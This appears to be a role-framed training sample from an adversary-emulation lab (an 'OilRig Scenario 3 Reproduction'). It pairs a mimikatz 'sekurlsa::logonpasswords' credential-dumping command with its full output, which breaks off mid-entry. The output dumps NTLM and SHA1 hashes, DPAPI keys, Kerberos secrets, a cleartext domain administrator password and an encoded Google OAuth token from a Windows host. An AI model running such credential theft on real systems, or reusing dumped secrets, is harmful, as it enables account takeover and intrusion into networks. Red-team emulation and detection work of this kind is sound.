You are professional in the field of cybersecurity.

Payload: `c:\users\public\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"`
Result (stderr): 
Result (stdout): 
  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 27 2022 14:39:34
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
Recompile by Version for OilRig Scenario 3 Reproduction

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 232689325 (00000000:0dde8ead)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 11/14/2024 4:42:34 PM
SID               : S-1-5-90-0-3
	msv :	
	 [00000003] Primary
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * NTLM     : d820542846527484dda98a5fae81a7ec
	 * SHA1     : ae49133155a2aec834605c91625211deaf51a9ff
	 * DPAPI    : ae49133155a2aec834605c91625211de
	tspkg :	
	wdigest :	
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * Password : (null)
	kerberos :	
	 * Username : IT-EP-2$
	 * Domain   : test.lab
	 * Password : 87 29 9f 46 00 93 da a4 43 c6 6e 96 6e ea 60 61 90 81 cd 03 c3 44 8a 5d e0 3d 59 2d e4 85 74 b0 2c d2 4c 73 52 ec ac 90 2d 34 e3 95 78 92 e8 ed 1b ea 99 1a f4 6d 3c 2b 85 a7 09 b4 95 69 28 29 2c 6f ae 96 86 0b 9d a0 f4 6c f6 00 b0 7d 35 11 49 72 9b f4 0e ec 56 8c 71 3e 58 91 ad f4 ea f7 ca 0a 3e 6d 42 33 6f eb 32 fc 87 5b 9b 77 e0 92 0d 53 95 66 0b ee 81 15 95 ec e7 3c 90 08 9a 56 32 0b 23 dd 9c 4a f4 74 66 96 ec db e5 98 a5 0b 4c aa 88 ab 0f 68 1f cf 10 66 94 be 40 dd ec 33 0c 5d c9 11 5b fd cc 10 a0 31 43 26 47 c2 e9 ed 97 8b 21 75 65 19 7e 9c a9 55 af 33 66 ea ed c0 d4 8b f6 ad 90 98 99 83 2c bb 51 17 3b d3 53 74 45 f3 c7 76 68 15 7e ff 1a 65 0e bb 3f 72 40 3e 16 00 3c 5b f5 2f cf a9 bb 2c c6 c3 13 d1 dc be 
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 232688520 (00000000:0dde8b88)
Session           : Interactive from 3
User Name         : UMFD-3
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 11/14/2024 4:42:34 PM
SID               : S-1-5-96-0-3
	msv :	
	 [00000003] Primary
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * NTLM     : d820542846527484dda98a5fae81a7ec
	 * SHA1     : ae49133155a2aec834605c91625211deaf51a9ff
	 * DPAPI    : ae49133155a2aec834605c91625211de
	tspkg :	
	wdigest :	
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * Password : (null)
	kerberos :	
	 * Username : IT-EP-2$
	 * Domain   : test.lab
	 * Password : 87 29 9f 46 00 93 da a4 43 c6 6e 96 6e ea 60 61 90 81 cd 03 c3 44 8a 5d e0 3d 59 2d e4 85 74 b0 2c d2 4c 73 52 ec ac 90 2d 34 e3 95 78 92 e8 ed 1b ea 99 1a f4 6d 3c 2b 85 a7 09 b4 95 69 28 29 2c 6f ae 96 86 0b 9d a0 f4 6c f6 00 b0 7d 35 11 49 72 9b f4 0e ec 56 8c 71 3e 58 91 ad f4 ea f7 ca 0a 3e 6d 42 33 6f eb 32 fc 87 5b 9b 77 e0 92 0d 53 95 66 0b ee 81 15 95 ec e7 3c 90 08 9a 56 32 0b 23 dd 9c 4a f4 74 66 96 ec db e5 98 a5 0b 4c aa 88 ab 0f 68 1f cf 10 66 94 be 40 dd ec 33 0c 5d c9 11 5b fd cc 10 a0 31 43 26 47 c2 e9 ed 97 8b 21 75 65 19 7e 9c a9 55 af 33 66 ea ed c0 d4 8b f6 ad 90 98 99 83 2c bb 51 17 3b d3 53 74 45 f3 c7 76 68 15 7e ff 1a 65 0e bb 3f 72 40 3e 16 00 3c 5b f5 2f cf a9 bb 2c c6 c3 13 d1 dc be 
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 232686981 (00000000:0dde8585)
Session           : Interactive from 3
User Name         : bob
Domain            : TEST
Logon Server      : SENSITIVE-DC
Logon Time        : 11/14/2024 4:42:34 PM
SID               : S-1-5-21-2271838730-795176997-3441160821-2149
	msv :	
	 [00000003] Primary
	 * Username : bob
	 * Domain   : TEST
	 * NTLM     : 4447d400e760a18773f15be6ee502c90
	 * SHA1     : 099ed749161a77a2e77d400ea914cd3e6c8170ec
	 * DPAPI    : 1dffc2dc52066a0db86c6908d98c5696
	tspkg :	
	wdigest :	
	 * Username : bob
	 * Domain   : TEST
	 * Password : (null)
	kerberos :	
	 * Username : bob
	 * Domain   : TEST.LAB
	 * Password : (null)
	ssp :	
	credman :	
	 [00000000]
	 * Username : test.lab\Administrator
	 * Domain   : sensitive-DC
	 * Password : @ut0infra
	 [00000001]
	 * Username : (null)
	 * Domain   : DriveFS_115400739343004308110
	 * Password : 0a 15 31 31 35 34 30 30 37 33 39 33 34 33 30 30 34 33 30 38 31 31 30 12 13 62 65 69 66 65 6e 31 32 34 40 67 6d 61 69 6c 2e 63 6f 6d 1a db 03 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 6d 65 65 74 69 6e 67 73 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 64 6f 63 73 2e 74 65 73 74 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 64 72 69 76 65 2e 61 63 74 69 76 69 74 79 2e 72 65 61 64 6f 6e 6c 79 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 70 65 6f 70 6c 65 61 70 69 2e 72 65 61 64 6f 6e 6c 79 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 64 72 69 76 65 2e 70 68 6f 74 6f 73 2e 72 65 61 64 6f 6e 6c 79 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 65 78 70 65 72 69 6d 65 6e 74 73 61 6e 64 63 6f 6e 66 69 67 73 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 73 75 70 70 6f 72 74 63 6f 6e 74 65 6e 74 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 75 73 65 72 69 6e 66 6f 2e 65 6d 61 69 6c 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 70 68 6f 74 6f 73 2e 6e 61 74 69 76 65 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 64 72 69 76 65 22 67 31 2f 2f 30 65 44 61 79 55 69 4b 70 53 6c 76 58 43 67 59 49 41 52 41 41 47 41 34 53 4e 77 46 2d 4c 39 49 72 4b 61 41 74 59 36 39 67 6a 6d 50 73 48 63 64 53 59 45 72 32 49 64 6a 79 76 31 61 6f 44 43 77 38 72 45 38 39 52 59 73 55 6a 56 37 56 78 66 6b 6f 61 4f 5f 4e 78 5a 63 50 47 63 46 62 6e 61 74 4c 57 35 38 2a 81 02 79 61 32 39 2e 61 30 41 65 44 43 6c 5a 44 50 7a 6f 34 41 7a 65 77 54 58 49 50 65 73 58 4c 73 61 31 74 76 6f 36 36 6d 4f 6d 37 57 49 4b 78 69 72 51 79 52 42 6b 66 44 4a 52 64 62 65 47 76 63 52 73 67 6c 53 2d 4a 79 73 31 54 4e 35 36 6e 79 35 42 5a 70 78 2d 6b 53 6f 6c 56 75 65 38 4c 7a 58 71 38 38 48 38 6c 4f 49 31 42 71 65 53 62 69 56 62 6a 72 61 44 2d 7a 46 76 30 65 62 46 75 68 55 37 39 6d 44 75 59 62 61 42 33 32 2d 36 75 5f 44 56 50 73 64 70 66 31 42 67 68 52 54 73 4c 58 42 31 44 47 6d 79 79 5f 4f 68 56 44 41 54 75 45 66 69 48 7a 34 4f 39 39 2d 39 54 6f 57 58 76 63 44 66 55 66 53 48 74 30 68 31 57 4c 2d 70 72 54 54 49 6b 61 43 67 59 4b 41 61 73 53 41 52 4d 53 46 51 48 47 58 32 4d 69 66 51 31 7a 44 6a 49 64 37 4c 2d 77 6c 53 42 32 33 63 32 73 50 77 30 32 31 30 30 e0 f9 d1 9a b8 32 42 91 07 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 49 73 49 6d 74 70 5a 43 49 36 49 6a 4d 32 4d 6a 67 79 4e 54 67 32 4d 44 45 78 4d 54 4e 6c 4e 6a 55 33 4e 6d 45 30 4e 54 4d 7a 4e 7a 4d 32 4e 57 5a 6c 4f 47 49 34 4f 54 63 7a 5a 44 45 32 4e 7a 45 69 4c 43 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 66 51 2e 65 79 4a 70 63 33 4d 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 46 6a 59 32 39 31 62 6e 52 7a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 69 4c 43 4a 68 65 6e 41 69 4f 69 49 35 4e 44 63 7a 4d 54 67 35 4f 44 6b 34 4d 44 4d 74 4e 6d 4a 75 4e 6e 46 72 4f 48 46 6b 5a 32 59 30 62 6a 52 6e 4d 33 42 6d 5a 57 55 32 4e 44 6b 78 61 47 4d 77 59 6e 4a 6a 4e 47 6b 75 59 58 42 77 63 79 35 6e 62 32 39 6e 62 47 56 31 63 32 56 79 59 32 39 75 64 47 56 75 64 43 35 6a 62 32 30 69 4c 43 4a 68 64 57 51 69 4f 69 49 35 4e 44 63 7a 4d 54 67 35 4f 44 6b 34 4d 44 4d 74 4e 6d 4a 75 4e 6e 46 72 4f 48 46 6b 5a 32 59 30 62 6a 52 6e 4d 33 42 6d 5a 57 55 32 4e 44 6b 78 61 47 4d 77 59 6e 4a 6a 4e 47 6b 75 59 58 42 77 63 79 35 6e 62 32 39 6e 62 47 56 31 63 32 56 79 59 32 39 75 64 47 56 75 64 43 35 6a 62 32 30 69 4c 43 4a 7a 64 57 49 69 4f 69 49 78 4d 54 55 30 4d 44 41 33 4d 7a 6b 7a 4e 44 4d 77 4d 44 51 7a 4d 44 67 78 4d 54 41 69 4c 43 4a 6c 62 57 46 70 62 43 49 36 49 6d 4a 6c 61 57 5a 6c 62 6a 45 79 4e 45 42 6e 62 57 46 70 62 43 35 6a 62 32 30 69 4c 43 4a 6c 62 57 46 70 62 46 39 32 5a 58 4a 70 5a 6d 6c 6c 5a 43 49 36 64 48 4a 31 5a 53 77 69 59 58 52 66 61 47 46 7a 61 43 49 36 49 6d 78 69 4f 57 70 74 5a 44 46 4b 62 6b 52 72 55 6b 4e 6f 4d 6c 39 45 56 58 46 46 52 32 63 69 4c 43 4a 70 59 58 51 69 4f 6a 45 33 4d 7a 4d 77 4e 7a 45 31 4e 7a 4d 73 49 6d 56 34 63 43 49 36 4d 54 63 7a 4d 7a 41 33 4e 54 45 33 4d 33 30 2e 44 45 6b 6d 67 6c 63 78 42 66 67 67 67 61 55 56 66 4d 64 44 51 6a 63 7a 72 62 34 6f 33 4d 42 62 4c 64 4f 65 59 6e 39 46 4f 57 34 30 38 32 70 34 33 73 6a 4c 64 6d 30 57 32 39 61 66 77 43 72 51 7a 53 38 45 4f 62 4d 41 57 33 36 58 74 4b 64 72 30 67 42 36 45 49 41 59 45 64 51 5f 44 61 30 66 73 30 79 67 79 6d 31 33 58 4c 63 31 30 6e 61 4d 30 47 6b 78 53 4d 53 33 35 33 39 4f 49 31 72 71 74 32 4d 57 42 67 42 63 77 33 6a 2d 58 49 39 41 69 6b 63 41 55 38 57 31 4d 5f 43 65 52 4d 75 65 33 44 75 34 77 4f 75 46 53 66 75 5f 35 2d 52 31 39 47 41 4d 33 5f 53 77 6c 39 37 4a 6e 55 4f 7a 73 54 53 44 38 6f 64 6e 44 5a 64 58 4f 41 33 4d 75 58 49 31 55 62 68 6a 5a 59 31 72 6a 66 64 32 57 46 30 39 39 61 31 68 59 50 63 45 67 5f 57 45 4e 57 38 4e 46 55 52 6d 31 70 77 46 43 54 65 57 50 4f 6b 4f 63 70 34 79 59 30 52 44 39 35 61 4d 7a 44 75 33 53 5f 52 39 6d 43 52 78 47 70 4d 76 57 56 66 65 4f 56 69 69 42 2d 35 64 54 71 30 72 63 7a 4e 46 6b 42 4e 4d 6c 71 45 55 39 69 63 6b 67 30 4e 2d 75 58 62 46 75 44 66 42 76 64 5a 53 53 6e 2d 48 65 67 4a 2b 39 38 31 33 72 30 4a 52 67 54 51 47 4e 51 45 64 79 79 5a 69 5f 38 64 6a 78 70 67 42 38 65 7a 44 2d 47 51 41 5a 51 37 32 43 43 6b 00 
	cloudap :	

Authentication Id : 0 ; 174636063 (00000000:0a68bc1f)
Session           : Interactive from 2
User Name         : Administrator
Domain            : TEST
Logon Server      : SENSITIVE-DC
Logon Time        : 11/14/2024 11:17:27 AM
SID               : S-1-5-21-2271838730-795176997-3441160821-500
	msv :	
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : TEST
	 * NTLM     : cb80658eed89f3653eb8d260ae02d3e2
	 * SHA1     : 6a7eb6b6dddc9bcb66b281437430191098e28eb1
	 * DPAPI    : 1e18eaec0c50d1696b989266722eb811
	tspkg :	
	wdigest :	
	 * Username : Administrator
	 * Domain   : TEST
	 * Password : (null)
	kerberos :	
	 * Username : Administrator
	 * Domain   : TEST.LAB
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 174589134 (00000000:0a6804ce)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 11/14/2024 11:17:18 AM
SID               : S-1-5-90-0-2
	msv :	
	 [00000003] Primary
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * NTLM     : d820542846527484dda98a5fae81a7ec
	 * SHA1     : ae49133155a2aec834605c91625211deaf51a9ff
	 * DPAPI    : ae49133155a2aec834605c91625211de
	tspkg :	
	wdigest :	
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * Password : (null)
	kerberos :	
	 * Username : IT-EP-2$
	 * Domain   : test.lab
	 * Password : 87 29 9f 46 00 93 da a4 43 c6 6e 96 6e ea 60 61 90 81 cd 03 c3 44 8a 5d e0 3d 59 2d e4 85 74 b0 2c d2 4c 73 52 ec ac 90 2d 34 e3 95 78 92 e8 ed 1b ea 99 1a f4 6d 3c 2b 85 a7 09 b4 95 69 28 29 2c 6f ae 96 86 0b 9d a0 f4 6c f6 00 b0 7d 35 11 49 72 9b f4 0e ec 56 8c 71 3e 58 91 ad f4 ea f7 ca 0a 3e 6d 42 33 6f eb 32 fc 87 5b 9b 77 e0 92 0d 53 95 66 0b ee 81 15 95 ec e7 3c 90 08 9a 56 32 0b 23 dd 9c 4a f4 74 66 96 ec db e5 98 a5 0b 4c aa 88 ab 0f 68 1f cf 10 66 94 be 40 dd ec 33 0c 5d c9 11 5b fd cc 10 a0 31 43 26 47 c2 e9 ed 97 8b 21 75 65 19 7e 9c a9 55 af 33 66 ea ed c0 d4 8b f6 ad 90 98 99 83 2c bb 51 17 3b d3 53 74 45 f3 c7 76 68 15 7e ff 1a 65 0e bb 3f 72 40 3e 16 00 3c 5b f5 2f cf a9 bb 2c c6 c3 13 d1 dc be 
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 174587710 (00000000:0a67ff3e)
Session           : Interactive from 2
User Name         : UMFD-2
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 11/14/2024 11:17:18 AM
SID               : S-1-5-96-0-2
	msv :	
	 [00000003] Primary
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * NTLM     : d820542846527484dda98a5fae81a7ec
	 * SHA1     : ae49133155a2aec834605c91625211deaf51a9ff
	 * DPAPI    : ae49133155a2aec834605c91625211de
	tspkg :	
	wdigest :	
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * Password : (null)
	kerberos :	
	 * Username : IT-EP-2$
	 * Domain   : test.lab
	 * Password : 87 29 9f 46 00 93 da a4 43 c6 6e 96 6e ea 60 61 90 81 cd 03 c3 44 8a 5d e0 3d 59 2d e4 85 74 b0 2c d2 4c 73 52 ec ac 90 2d 34 e3 95 78 92 e8 ed 1b ea 99 1a f4 6d 3c 2b 85 a7 09 b4 95 69 28 29 2c 6f ae 96 86 0b 9d a0 f4 6c f6 00 b0 7d 35 11 49 72 9b f4 0e ec 56 8c 71 3e 58 91 ad f4 ea f7 ca 0a 3e 6d 42 33 6f eb 32 fc 87 5b 9b 77 e0 92 0d 53 95 66 0b ee 81 15 95 ec e7 3c 90 08 9a 56 32 0b 23 dd 9c 4a f4 74 66 96 ec db e5 98 a5 0b 4c aa 88 ab 0f 68 1f cf 10 66 94 be 40 dd ec 33 0c 5d c9 11 5b fd cc 10 a0 31 43 26 47 c2 e9 ed 97 8b 21 75 65 19 7e 9c a9 55 af 33 66 ea ed c0 d4 8b f6 ad 90 98 99 83 2c bb 51 17 3b d3 53 74 45 f3 c7 76 68 15 7e ff 1a 65 0e bb 3f 72 40 3e 16 00 3c 5b f5 2f cf a9 bb 2c c6 c3 13 d1 dc be 
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 170356171 (00000000:0a276dcb)
Session           : Interactive from 1
User Name         : bob
Domain            : TEST
Logon Server      : SENSITIVE-DC
Logon Time        : 11/14/2024 11:03:13 AM
SID               : S-1-5-21-2271838730-795176997-3441160821-2149
	msv :	
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	
	 [00000000]
	 * Username : test.lab\Administrator
	 * Domain   : sensitive-DC
	 * Password : @ut0infra
	 [00000001]
	 * Username : (null)
	 * Domain   : DriveFS_115400739343004308110
	 * Password : 0a 15 31 31 35 34 30 30 37 33 39 33 34 33 30 30 34 33 30 38 31 31 30 12 13 62 65 69 66 65 6e 31 32 34 40 67 6d 61 69 6c 2e 63 6f 6d 1a db 03 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 6d 65 65 74 69 6e 67 73 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 64 6f 63 73 2e 74 65 73 74 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 64 72 69 76 65 2e 61 63 74 69 76 69 74 79 2e 72 65 61 64 6f 6e 6c 79 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 70 65 6f 70 6c 65 61 70 69 2e 72 65 61 64 6f 6e 6c 79 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 64 72 69 76 65 2e 70 68 6f 74 6f 73 2e 72 65 61 64 6f 6e 6c 79 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 65 78 70 65 72 69 6d 65 6e 74 73 61 6e 64 63 6f 6e 66 69 67 73 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 73 75 70 70 6f 72 74 63 6f 6e 74 65 6e 74 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 75 73 65 72 69 6e 66 6f 2e 65 6d 61 69 6c 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 70 68 6f 74 6f 73 2e 6e 61 74 69 76 65 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 75 74 68 2f 64 72 69 76 65 22 67 31 2f 2f 30 65 44 61 79 55 69 4b 70 53 6c 76 58 43 67 59 49 41 52 41 41 47 41 34 53 4e 77 46 2d 4c 39 49 72 4b 61 41 74 59 36 39 67 6a 6d 50 73 48 63 64 53 59 45 72 32 49 64 6a 79 76 31 61 6f 44 43 77 38 72 45 38 39 52 59 73 55 6a 56 37 56 78 66 6b 6f 61 4f 5f 4e 78 5a 63 50 47 63 46 62 6e 61 74 4c 57 35 38 2a 81 02 79 61 32 39 2e 61 30 41 65 44 43 6c 5a 44 50 7a 6f 34 41 7a 65 77 54 58 49 50 65 73 58 4c 73 61 31 74 76 6f 36 36 6d 4f 6d 37 57 49 4b 78 69 72 51 79 52 42 6b 66 44 4a 52 64 62 65 47 76 63 52 73 67 6c 53 2d 4a 79 73 31 54 4e 35 36 6e 79 35 42 5a 70 78 2d 6b 53 6f 6c 56 75 65 38 4c 7a 58 71 38 38 48 38 6c 4f 49 31 42 71 65 53 62 69 56 62 6a 72 61 44 2d 7a 46 76 30 65 62 46 75 68 55 37 39 6d 44 75 59 62 61 42 33 32 2d 36 75 5f 44 56 50 73 64 70 66 31 42 67 68 52 54 73 4c 58 42 31 44 47 6d 79 79 5f 4f 68 56 44 41 54 75 45 66 69 48 7a 34 4f 39 39 2d 39 54 6f 57 58 76 63 44 66 55 66 53 48 74 30 68 31 57 4c 2d 70 72 54 54 49 6b 61 43 67 59 4b 41 61 73 53 41 52 4d 53 46 51 48 47 58 32 4d 69 66 51 31 7a 44 6a 49 64 37 4c 2d 77 6c 53 42 32 33 63 32 73 50 77 30 32 31 30 30 e0 f9 d1 9a b8 32 42 91 07 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 49 73 49 6d 74 70 5a 43 49 36 49 6a 4d 32 4d 6a 67 79 4e 54 67 32 4d 44 45 78 4d 54 4e 6c 4e 6a 55 33 4e 6d 45 30 4e 54 4d 7a 4e 7a 4d 32 4e 57 5a 6c 4f 47 49 34 4f 54 63 7a 5a 44 45 32 4e 7a 45 69 4c 43 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 66 51 2e 65 79 4a 70 63 33 4d 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 46 6a 59 32 39 31 62 6e 52 7a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 69 4c 43 4a 68 65 6e 41 69 4f 69 49 35 4e 44 63 7a 4d 54 67 35 4f 44 6b 34 4d 44 4d 74 4e 6d 4a 75 4e 6e 46 72 4f 48 46 6b 5a 32 59 30 62 6a 52 6e 4d 33 42 6d 5a 57 55 32 4e 44 6b 78 61 47 4d 77 59 6e 4a 6a 4e 47 6b 75 59 58 42 77 63 79 35 6e 62 32 39 6e 62 47 56 31 63 32 56 79 59 32 39 75 64 47 56 75 64 43 35 6a 62 32 30 69 4c 43 4a 68 64 57 51 69 4f 69 49 35 4e 44 63 7a 4d 54 67 35 4f 44 6b 34 4d 44 4d 74 4e 6d 4a 75 4e 6e 46 72 4f 48 46 6b 5a 32 59 30 62 6a 52 6e 4d 33 42 6d 5a 57 55 32 4e 44 6b 78 61 47 4d 77 59 6e 4a 6a 4e 47 6b 75 59 58 42 77 63 79 35 6e 62 32 39 6e 62 47 56 31 63 32 56 79 59 32 39 75 64 47 56 75 64 43 35 6a 62 32 30 69 4c 43 4a 7a 64 57 49 69 4f 69 49 78 4d 54 55 30 4d 44 41 33 4d 7a 6b 7a 4e 44 4d 77 4d 44 51 7a 4d 44 67 78 4d 54 41 69 4c 43 4a 6c 62 57 46 70 62 43 49 36 49 6d 4a 6c 61 57 5a 6c 62 6a 45 79 4e 45 42 6e 62 57 46 70 62 43 35 6a 62 32 30 69 4c 43 4a 6c 62 57 46 70 62 46 39 32 5a 58 4a 70 5a 6d 6c 6c 5a 43 49 36 64 48 4a 31 5a 53 77 69 59 58 52 66 61 47 46 7a 61 43 49 36 49 6d 78 69 4f 57 70 74 5a 44 46 4b 62 6b 52 72 55 6b 4e 6f 4d 6c 39 45 56 58 46 46 52 32 63 69 4c 43 4a 70 59 58 51 69 4f 6a 45 33 4d 7a 4d 77 4e 7a 45 31 4e 7a 4d 73 49 6d 56 34 63 43 49 36 4d 54 63 7a 4d 7a 41 33 4e 54 45 33 4d 33 30 2e 44 45 6b 6d 67 6c 63 78 42 66 67 67 67 61 55 56 66 4d 64 44 51 6a 63 7a 72 62 34 6f 33 4d 42 62 4c 64 4f 65 59 6e 39 46 4f 57 34 30 38 32 70 34 33 73 6a 4c 64 6d 30 57 32 39 61 66 77 43 72 51 7a 53 38 45 4f 62 4d 41 57 33 36 58 74 4b 64 72 30 67 42 36 45 49 41 59 45 64 51 5f 44 61 30 66 73 30 79 67 79 6d 31 33 58 4c 63 31 30 6e 61 4d 30 47 6b 78 53 4d 53 33 35 33 39 4f 49 31 72 71 74 32 4d 57 42 67 42 63 77 33 6a 2d 58 49 39 41 69 6b 63 41 55 38 57 31 4d 5f 43 65 52 4d 75 65 33 44 75 34 77 4f 75 46 53 66 75 5f 35 2d 52 31 39 47 41 4d 33 5f 53 77 6c 39 37 4a 6e 55 4f 7a 73 54 53 44 38 6f 64 6e 44 5a 64 58 4f 41 33 4d 75 58 49 31 55 62 68 6a 5a 59 31 72 6a 66 64 32 57 46 30 39 39 61 31 68 59 50 63 45 67 5f 57 45 4e 57 38 4e 46 55 52 6d 31 70 77 46 43 54 65 57 50 4f 6b 4f 63 70 34 79 59 30 52 44 39 35 61 4d 7a 44 75 33 53 5f 52 39 6d 43 52 78 47 70 4d 76 57 56 66 65 4f 56 69 69 42 2d 35 64 54 71 30 72 63 7a 4e 46 6b 42 4e 4d 6c 71 45 55 39 69 63 6b 67 30 4e 2d 75 58 62 46 75 44 66 42 76 64 5a 53 53 6e 2d 48 65 67 4a 2b 39 38 31 33 72 30 4a 52 67 54 51 47 4e 51 45 64 79 79 5a 69 5f 38 64 6a 78 70 67 42 38 65 7a 44 2d 47 51 41 5a 51 37 32 43 43 6b 00 
	cloudap :	

Authentication Id : 0 ; 112625 (00000000:0001b7f1)
Session           : Service from 0
User Name         : UIFlowService
Domain            : NT SERVICE
Logon Server      : (null)
Logon Time        : 11/13/2024 5:45:50 PM
SID               : S-1-5-80-3017052307-2994996872-1615411526-3164924635-3391446484
	msv :	
	 [00000003] Primary
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * NTLM     : d820542846527484dda98a5fae81a7ec
	 * SHA1     : ae49133155a2aec834605c91625211deaf51a9ff
	 * DPAPI    : ae49133155a2aec834605c91625211de
	tspkg :	
	wdigest :	
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * Password : (null)
	kerberos :	
	 * Username : IT-EP-2$
	 * Domain   : test.lab
	 * Password : 87 29 9f 46 00 93 da a4 43 c6 6e 96 6e ea 60 61 90 81 cd 03 c3 44 8a 5d e0 3d 59 2d e4 85 74 b0 2c d2 4c 73 52 ec ac 90 2d 34 e3 95 78 92 e8 ed 1b ea 99 1a f4 6d 3c 2b 85 a7 09 b4 95 69 28 29 2c 6f ae 96 86 0b 9d a0 f4 6c f6 00 b0 7d 35 11 49 72 9b f4 0e ec 56 8c 71 3e 58 91 ad f4 ea f7 ca 0a 3e 6d 42 33 6f eb 32 fc 87 5b 9b 77 e0 92 0d 53 95 66 0b ee 81 15 95 ec e7 3c 90 08 9a 56 32 0b 23 dd 9c 4a f4 74 66 96 ec db e5 98 a5 0b 4c aa 88 ab 0f 68 1f cf 10 66 94 be 40 dd ec 33 0c 5d c9 11 5b fd cc 10 a0 31 43 26 47 c2 e9 ed 97 8b 21 75 65 19 7e 9c a9 55 af 33 66 ea ed c0 d4 8b f6 ad 90 98 99 83 2c bb 51 17 3b d3 53 74 45 f3 c7 76 68 15 7e ff 1a 65 0e bb 3f 72 40 3e 16 00 3c 5b f5 2f cf a9 bb 2c c6 c3 13 d1 dc be 
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 11/13/2024 5:45:49 PM
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 996 (00000000:000003e4)
